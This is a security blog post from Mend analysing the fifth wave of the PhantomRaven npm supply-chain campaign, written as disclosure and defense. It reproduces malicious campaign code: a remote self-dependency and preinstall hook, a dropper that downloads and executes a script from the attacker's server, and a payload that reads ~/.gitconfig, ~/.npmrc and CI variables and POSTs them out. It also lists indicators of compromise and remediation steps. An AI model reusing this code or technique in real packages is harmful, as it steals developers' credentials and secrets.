PhantomRaven Wave 5: New Undocumented NPM Supply Chain Campaign Targets DeFi, Cloud, and AI Developers
The post PhantomRaven Wave 5: New Undocumented NPM Supply Chain Campaign Targets DeFi, Cloud, and AI Developers appeared first on Mend.
3 easy-to-miss cybersecurity risks for small businesses
The post PhantomRaven Wave 5: New Undocumented NPM Supply Chain Campaign Targets DeFi, Cloud, and AI Developers appeared first on Mend.
Mend’s security research team has identified a previously undocumented fifth wave of the PhantomRaven campaign, an ongoing NPM supply chain attack that has been stealing developer credentials and secrets since August 2025. This new wave uses a fresh command-and-control server, 33 new malicious packages, and a more sophisticated three-stage payload chain. While the previous four waves were publicly disclosed by EndorLabs in March 2026, the actor kept going, registering new infrastructure and publishing new packages as recently as April 26, 2026.
Think of npm like an app store for JavaScript developers. Developers trust it to download code building blocks for their projects. PhantomRaven abuses that trust by publishing packages that look legitimate but secretly reach out to an attacker-controlled server to download and run malicious code on the developer’s machine the moment they install the package.
At the time of writing, all 33 packages are still available on NPM, and the C2 (command-and-control) server remains live.
Background: Four Waves, One Actor
PhantomRaven was first documented in October 2025, when Koi Security identified 126 malicious npm packages with over 86,000 downloads. Endor Labs subsequently tracked three additional waves through early 2026. Across all waves, a consistent set of infrastructure fingerprints points to a single operator: domains registered via Amazon Registrar with Identity Protection Service, AWS Route 53 nameservers, no TLS certificates, and a hardcoded “author”: “JPD” field inside the C2-served tarballs. Actor email patterns across waves include [email protected] through [email protected], then dharshanjp*@outlook.com and jpddharsh*@outlook.com, suggesting the actor’s name is a variation of “Dharshan JP.” The actor also embeds the comment // This Package use for security testing PoC purpose in package code, an apparent attempt to claim plausible deniability.
Wave 5 follows the exact same infrastructure pattern as Waves 1 through 4. The new C2 domain, pack[.]nppacks[.]com, was registered on March 10, 2026, just eight days after
Technical Analysis
Stage 0: The npm Package Lure
Each malicious package on npm looks unremarkable. It has a reasonable name, a version number designed to appear mature, and a minimal index.js that does nothing but print “Hello, world!”. The real mechanism is buried in package.json: the package lists itself as its own dependency, but points to the attacker’s server instead of the npm registry.
When a developer runs npm install, npm automatically resolves all dependencies in the chain. That self-referencing dependency causes npm to reach out to pack[.]nppacks[.]com and download a second tarball the developer never explicitly asked for.
Figure 1: Stage 0 package.json showing the self-referencing Remote Dynamic Dependency pointing to the C2 server
{
“name”: “graphql-js-client-transform”,
“version”: “6.14.0”,
“description”: “NPM”,
“dependencies”: {
“axios”: “^1.7.9”,
“lodash”: “^4.17.11”,
“node-fetch”: “^3.3.2”,
“graphql-js-client-transform”: “http://pack[.]nppacks[.]com/npm/graphql-js-client-transform”,
“traverse”: “0.6.6”,
“ws”: “^8.18.0”
},
“author”: “JPD”,
“license”: “MIT”
}
This technique is called a Remote Dynamic Dependency (RDD). Because the malicious code lives on the attacker’s server and not inside the npm package itself, it bypasses static analysis tools that only scan what’s published to the registry.
Stage 1: The Redirect Layer
When npm fetches the self-referencing dependency from the C2, the server returns a new tarball. This tarball is unique per package: the name, version, and dependency key are swapped to match the original package, producing a different SHA256 hash each time. Hash-based detection sees a unique file and finds no prior record of it.
However, the index.js inside every Stage 1 tarball is byte-for-byte identical across all packages. SHA256 78937711bbc74542d304c7a7ea451465a2342438116fb37aa715ccf89b027d04 was confirmed in six separate packages. More importantly, every Stage 1 tarball redirects to the same second-stage dropper regardless of which original package triggered the chain.
Figure 2: Stage 1 package.json served from the C2, redirecting to the universal Stage 2 dropper idle-style-xi
{
“name”: “eigenlayer-sdk”,
“version”: “10.0.1”,
“dependencies”: {
“eigenlayer-sdk”: “http://pack[.]nppacks[.]com/npm/idle-style-xi”
},
“author”: “Micro”
}
The redirection to a single shared dropper means the actor only needs to update one package on the server to change behavior across the entire campaign.
Stage 2: The Dropper (idle-style-xi)
idle-style-xi v2.0.1 is the execution stage. It is never published to npm, only served from the C2 server. Its package.json contains a preinstall lifecycle hook, which npm executes automatically before the package installs. No additional user action is required.
Figure 3: Stage 2 package.json with the preinstall hook that triggers immediate code execution during npm install
{
“name”: “idle-style-xi”,
“version”: “2.0.1”,
“scripts”: {
“preinstall”: “node index.js”
},
“author”: “Brandon”
}
The index.js executes a four-step sequence: fingerprint the victim, authenticate with the C2, download a personalized payload, run it, and delete the evidence.Figure 4: Stage 2 index.js showing victim fingerprinting, single-use token retrieval, and fileless payload execution with anti-forensic cleanup
async function main() {
const headers = {
‘User-Agent’: `node/${process.version} (npm-install)`,
‘X-Node-Version’: process.version,
‘X-NPM-Command’: ‘preinstall’,
‘X-Package-Name’: process.env.npm_package_name || ”,
‘X-Lifecycle-Event’: process.env.npm_lifecycle_event || ”,
‘X-NPM-User-Agent’: process.env.npm_config_user_agent || ”,
};
const tokenResponse = await fetchUrl(‘http://pack[.]nppacks[.]com/token.php’, headers);
const { token } = JSON.parse(tokenResponse);
const script = await fetchUrl(`http://pack[.]nppacks[.]com/route.js?token=${token}`);
const tempFile = path.join(os.tmpdir(), `collector-${Date.now()}.js`);
fs.writeFileSync(tempFile, script);
require(tempFile); // execute
fs.unlinkSync(tempFile); // delete
}
A critical detail about the token gate: token.php checks the X-Package-Name header and only issues a valid token when it equals idle-style-xi, the name of the dropper itself. This is exactly what npm sets as npm_package_name during a real preinstall hook. Requests using any other package name, or any research tooling that probes with different values, receive a 403 Forbidden response. The server also blocks IP addresses after a first failed probe, making automated scanning significantly harder.
The token is single-use and expires within seconds of issuance, requiring both the token request and payload fetch to happen in immediate succession on the same network path.
Stage 3: The Final Payload
The payload is 5,865 bytes of plain JavaScript. Its first action is to suppress all console output, making the entire operation invisible during npm install.
Figure 5: Console silencing mechanism, the first code executed, ensuring the victim sees nothing
console.log = function() {};
console.error = function() {};
console.warn = function() {};
console.info = function() {};
console.debug = function() {};
The payload then harvests developer identity from four separate sources in order of reliability.
Figure 6: Email harvesting function reading from environment variables, ~/.gitconfig, ~/.npmrc, and package.json
function detectUserEmail() {
const emailSources = {};
// Environment variables
[‘EMAIL’, ‘USER_EMAIL’, ‘GIT_AUTHOR_EMAIL’, ‘GIT_COMMITTER_EMAIL’,
‘npm_config_email’, ‘npm_package_author_email’].forEach(envVar => {
if (process.env[envVar]) emailSources[`env_${envVar}`] = process.env[envVar];
});
// ~/.gitconfig
const gitConfig = fs.readFileSync(path.join(os.homedir(), ‘.gitconfig’), ‘utf8’);
const emailMatch = gitConfig.match(/emails*=s*(.+)/);
if (emailMatch) emailSources.git_config = emailMatch[1].trim();
// ~/.npmrc
const npmConfig = fs.readFileSync(path.join(os.homedir(), ‘.npmrc’), ‘utf8’);
const npmMatch = npmConfig.match(/emails*=s*(.+)/);
if (npmMatch) emailSources.npm_config = npmMatch[1].trim();
// package.json author field
const pkg = JSON.parse(fs.readFileSync(path.join(process.cwd(), ‘package.json’)));
if (pkg.author?.email) emailSources.package_author = pkg.author.email;
return emailSources;
}
System and CI/CD context is collected next. The payload reads 10 CI/CD environment variables targeting the four most common pipeline platforms: GitHub Actions, GitLab CI, Jenkins, and CircleCI.
Figure 7: Full system and CI/CD fingerprint collection, including public IP resolution via api64.ipify.org
const ciEnvVars = {
GITHUB_ACTIONS: process.env.GITHUB_ACTIONS,
GITHUB_ACTOR: process.env.GITHUB_ACTOR,
GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY,
GITLAB_CI: process.env.GITLAB_CI,
JENKINS_URL: process.env.JENKINS_URL,
CIRCLECI: process.env.CIRCLECI,
USER: process.env.USER,
HOME: process.env.HOME,
PATH: process.env.PATH?.split(‘:’),
};
const systemInfo = {
publicIP: “”, // resolved via api64.ipify.org
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: /* first non-internal IPv4 interface */,
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
nodeVersion: process.version,
userEmail: detectUserEmail(),
runtimeInfo: { argv: process.argv, execPath: process.execPath, env: ciEnvVars },
timestamp: new Date().toISOString()
};
Everything collected is POSTed as JSON to a previously undocumented endpoint: pack[.]nppacks[.]com/mozbra.php.Figure 8: Exfiltration to mozbra.php, the data collection receiver on the C2 server
const options = {
hostname: ‘pack[.]nppacks[.]com’,
port: 80,
path: ‘/mozbra.php’,
method: ‘POST’,
headers: {
‘Content-Type’: ‘application/json’,
‘Content-Length’: Buffer.byteLength(data),
‘Connection’: ‘close’
}
};
A representative example of data the attacker receives from a developer running npm install in a CI/CD environment:
Attack Flow Summary
npm install <malicious-package>
|
| npm resolves self-referencing dependency
v
GET pack[.]nppacks[.]com/npm/<package-name>
|
| C2 returns unique Stage 1 tarball (different SHA256 per package)
| but identical index.js — always redirects to idle-style-xi
v
GET pack[.]nppacks[.]com/npm/idle-style-xi
|
| preinstall hook fires automatically
v
GET pack[.]nppacks[.]com/token.php
| X-Package-Name: idle-style-xi (required — any other value = 403)
| single-use token, expires in seconds
v
GET pack[.]nppacks[.]com/route.js?token=<token>
|
| payload written to /tmp/collector-<timestamp>.js
| executed via require()
v
GET https://api64.ipify.org (resolve public IP)
POST pack[.]nppacks[.]com/mozbra.php (exfiltrate all collected data)
|
| temp file deleted
v
[silent — victim sees nothing]
Target Ecosystems
Wave 5 targets a broader range of developer communities than previous waves. The choice of package names is deliberate: each impersonates a package that a specific type of developer is likely to search for.
Decentralized Finance (DeFi) and cryptocurrency developers are targeted through eigenlayer-sdk (255 downloads), impersonating the EigenLayer restaking protocol SDK, and @inverse-finance/vesting-contract. Developers in this space typically have access to private keys and wallet files.
Cloud infrastructure engineers are targeted through four @cdktf-constructs/azure-* packages impersonating CDK for Terraform Azure constructs. These developers routinely have AWS and Azure credentials in their environments.
AI and LLM application developers are targeted through four @promptions/promptions-* packages. This community is a newer target not seen in previous PhantomRaven waves.
JavaScript and React developers broadly are targeted through Babel plugin impersonations (transform-es2015-*, transform-es3-*) and React packages (react-schedule-it, react-remove-properties). local-rules had the highest download count at 511.
Notable Infrastructure Finding
pack[.]nppacks[.]com resolves to 54.160.138.70, an AWS EC2 instance running Apache 2.4.58 on Ubuntu. A reverse IP lookup on that address also returns hblnew[.]ecompk[.]com, a subdomain of ecompk.com.
ECOM PK is a legitimate Karachi-based IT services company. Their LinkedIn lists HBL (Habib Bank Limited, Pakistan’s largest bank) as a named client, and hblv2[.]ecompk[.]com on a separate server hosts a functioning HBL e-commerce platform called “HBL Lifestyle new.” The ecompk.com domain uses Cloudflare for DNS management. Adding the hblnew subdomain pointing to the C2 IP requires authenticated access to ECOM PK’s Cloudflare account, meaning the DNS record was set by someone with control over that account.
Fetching hblnew.ecompk.com/npm/local-rules returns a byte-for-byte identical tarball to pack[.]nppacks[.]com/npm/local-rules (SHA256 0ce9b82d290004031b7cc49d724c00011811e1753a283a93a380a311360cfb66). Both virtual hosts serve from the same Apache document root. All C2 endpoints including token.php, route.js, and mozbra.php are active on both domains.
Indicators of Compromise
Network
Indicator
Type
Description
pack[.]nppacks[.]com
Domain
Primary C2 domain
hblnew.ecompk.com
Domain
Alternate C2 domain, identical content
54.160.138.70
IP
C2 server (AWS EC2 us-east-1)
http://pack[.]nppacks[.]com/npm/*
URL
Package delivery endpoints
http://pack[.]nppacks[.]com/token.php
URL
Victim fingerprinting / token gate
http://pack[.]nppacks[.]com/route.js
URL
Personalized payload delivery
http://pack[.]nppacks[.]com/mozbra.php
URL
Exfiltration receiver (POST)
Final Payload Hashes
File
SHA256
SHA1
MD5
collector_payload.js
abe9ee9edfc44f7675400207a826c260b2f197d1f93e36010c35d627983e4294
83088e7cb00cf9fab74df2f64b7021b2deef6610
4bdb7aef96dc04c250cceefa222d7d1a
Malicious npm Packages (Wave 5)
Package
eigenlayer-sdk
griffing-ui-pkg
griffing-ux-pkg
rampage-unpack
random-unpack
return-words
transform-es3-member-expression-literals
digitalexp-common-components-l9
link-ui-pkg
react-native-wcandillondigital-sdk
return-npm
graphql-js-client-transform
react-remove-properties
adb-node
react-schedule-it
@cdktf-constructs/azure-publicipaddress
@cdktf-constructs/azure-resourcegroup
@cdktf-constructs/azure-subnet
@cdktf-constructs/azure-virtualnetworkgateway
@cdktf-constructs/azure-virtualnetworkgatewayconnection
@promptions/promptions-chat
@promptions/promptions-image
@promptions/promptions-llm
@promptions/promptions-ui
@inverse-finance/vesting-contracts
polyfill-es-shims
transform-es2015-destructuring
transform-es2015-typeof-symbol
escompat
mistica-local-rules
transform-es2015-computed-properties
transform-es2015-template-literals
export-default
If you have installed any of the packages listed above, treat the environment as compromised. Rotate all credentials accessible from that machine: npm tokens, SSH keys, AWS/Azure/GCP credentials, GitHub tokens, and any CI/CD secrets. Review whether GITHUB_REPOSITORY, GITHUB_ACTOR, or similar CI/CD variables were set in the install environment, as those values were exfiltrated.
Audit your package.json and package-lock.json for any dependency that uses an HTTP URL instead of a version string. Legitimate packages in the npm registry are referenced by version (“^1.2.3”), not by URL. Any http:// dependency pointing to a non-registry host is a critical finding.
Figure 9: Bash command to scan project files for HTTP-based dependencies pointing outside the npm registry
grep -r “http://|https://” package.json package-lock.json
| grep -v “registry.npmjs.org|github.com|raw.githubusercontent.com”
Block the C2 infrastructure at your DNS resolver and network perimeter. Pay particular attention to mozbra.php , outbound POST requests to this path indicate an active or recent compromise:
pack[.]nppacks[.]com
hblnew[.]ecompk[.]com
54[.]160[.]138[.]70
pack[.]nppacks[.]com/mozbra.php (POST — active exfiltration)
Use –ignore-scripts during npm install in environments where build scripts are not required. This blocks the preinstall hook that triggers Stage 2 and breaks this specific attack chain:
npm install –ignore-scripts
Attribution
Consistent infrastructure fingerprints across all five waves point to a single operator. The “author”: “JPD” field appears in C2-served tarballs from Wave 1 through Wave 5 without exception. Actor email accounts follow two sequential patterns: [email protected] in early waves, then dharshanjp*@outlook.com and jpddharsh*@outlook.com in later waves. Early npm account usernames include npmhell and npmpackagejpd.
Wave 5 introduces “author”: “Micro” as an alternate field value on some Stage 1 tarballs, suggesting minor operational changes, but the underlying infrastructure and payload remain unchanged.
The shared C2 infrastructure with hblnew.ecompk.com, a subdomain requiring authenticated DNS access to ECOM PK’s Cloudflare account, remains an open question. Whether this reflects an insider at that organization, a compromised account, or an unrelated configuration coincidence has not been confirmed.
Conclusion
PhantomRaven Wave 5 confirms that the actor behind this campaign is persistent and methodical. Eight days after a public disclosure of their prior infrastructure, they registered a new domain, rebuilt the C2, and resumed publishing. The complete attack chain is now documented for the first time: a three-stage RDD delivery mechanism that terminates in a silent credential harvester POSTing developer identity, email addresses, CI/CD tokens, GitHub repository names, and public IPs to mozbra.php.
The campaign now spans at least 200 packages across five waves since August 2025 and shows increasing sophistication in targeting. Wave 5 deliberately pursues DeFi developers, cloud infrastructure engineers, and AI developers, communities with high-value credentials and production system access.
Mend will continue monitoring pack[.]nppacks[.]com, associated accounts, and the npm ecosystem for further activity or a Wave 6 rebuild.
*** This is a Security Bloggers Network syndicated blog from Mend authored by Tom Abai. Read the original post at: https://www.mend.io/blog/phantomraven-wave-5-new-undocumented-npm-supply-chain-campaign-targets-defi-cloud-and-ai-developers/
